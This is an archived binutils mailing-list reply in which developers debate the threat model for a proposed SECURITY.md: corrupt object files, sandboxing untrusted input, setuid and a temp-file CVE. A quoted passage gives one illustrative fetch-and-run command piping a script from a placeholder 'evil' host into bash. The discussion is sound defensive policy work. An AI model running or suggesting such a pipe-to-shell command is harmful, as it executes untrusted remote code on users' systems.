From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from foss.arm.com (foss.arm.com [217.140.110.172]) by sourceware.org (Postfix) with ESMTP id 280A23858D32; Thu, 13 Apr 2023 13:11:25 +0000 (GMT) DMARC-Filter: OpenDMARC Filter v1.4.2 sourceware.org 280A23858D32 Authentication-Results: sourceware.org; dmarc=none (p=none dis=none) header.from=foss.arm.com Authentication-Results: sourceware.org; spf=none smtp.mailfrom=foss.arm.com Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14]) by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 6137ED75; Thu, 13 Apr 2023 06:12:09 -0700 (PDT) Received: from [10.2.78.76] (unknown [10.2.78.76]) by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 3AB033F73F; Thu, 13 Apr 2023 06:11:24 -0700 (PDT) Message-ID: <0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com> Date: Thu, 13 Apr 2023 14:11:23 +0100 MIME-Version: 1.0 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Thunderbird/102.9.0 Subject: Re: RFC: Adding a SECURITY.md document to the Binutils Content-Language: en-GB To: Siddhesh Poyarekar , Nick Clifton , Binutils Cc: "gdb@sourceware.org" References: <1c38b926-e003-0e21-e7f1-3d5dbec2aabf@redhat.com> <5b147005-bd28-4cf9-b9e7-479ef02cb1ad@foss.arm.com> <5d044987-39eb-a060-1b2b-9d07b1515e7d@gotplt.org> <73bc480a-a927-2773-8756-50350f76dfbf@gotplt.org> <4ed86e65-0b7f-11d4-8061-2c5d0b1e147e@foss.arm.com> <7b6b10f8-e480-8efa-fbb8-4fc4bf2cf356@gotplt.org> From: Richard Earnshaw In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Status: No, score=-3487.4 required=5.0 tests=BAYES_00,KAM_DMARC_STATUS,KAM_LAZY_DOMAIN_SECURITY,KAM_SHORT,MEDICAL_SUBJECT,NICE_REPLY_A,SPF_HELO_NONE,SPF_NONE,TXREP autolearn=no autolearn_force=no version=3.4.6 X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on server2.sourceware.org List-Id: On 13/04/2023 13:54, Siddhesh Poyarekar wrote: > On 2023-04-13 08:37, Richard Earnshaw wrote: >>> "Direct compromise of security" is essentially what we're trying to >>> define more strongly to prevent spurious CVE assignments. >> >> If a user can be tricked into opening a corrupt file (eg object file) >> and that causes a buffer overflow that's then used to send another >> file to a third party, you can't really pretend that's not a direct >> compromise of security.  We live in the real world and this sort of >> threat is real. > > I agree that this sort of threat is real, which is why we should > recommend sandboxing to deal with corrupt/untrusted files.  There is no > way that any program can be secured against untrusted input *after* it > has been supplied to it, especially if the input is in a Turing complete > form, like a program or a script. > > This is why when one does a: > > curl -s http://evil.website/malicious-script.sh | bash > > it is a legitimate security issue, but it's not a vulnerability in bash, > nor can it be secured in bash.  One must either do this in a sandbox to > contain its impact in that sandbox, or do a secondary analysis (again in > a sandbox) to determine that it is safe. Right, but that's not the case I was concerned about. My scenario is more like when you run something like objdump foo.o but reading foo.o causes corruption in the tools (eg by a buffer exploit) and ends up sending a confidential file to a third party. > >>>> a vulnerability in the generated output that was not already present >>>> in the files used as input. >>>> >>>> Note: none of the programs in the GNU Binutils suite need elevated >>>> system privileges (eg setuid) to operate and we recommend that users >>>> do not use them from accounts where such privileges are >>>> automatically available. >>> >>> We did have CVE-2021-20197, so it's not always setuid. >> >> >> Which is exactly the sort of scenario I was trying to exclude by this >> statement - don't run the tools with elevated privileges. > > I should have clarified that I agree, just that mentioning setuid might > lull users into believing that this threat model is only related to setuid. Which is why I put setuid in brackets and put 'eg' in front of it. It's the most obvious example, but it's by no means the only case. BTW, the real problem underlying that CVE is that the temp-files APIs are fundamentally weak by defaulting to a shared temporary directory. Quite frankly there's no reason why systems shouldn't be using per-user temporary directories these days which are private - who needs to share temporary files with other users? R. > > Sid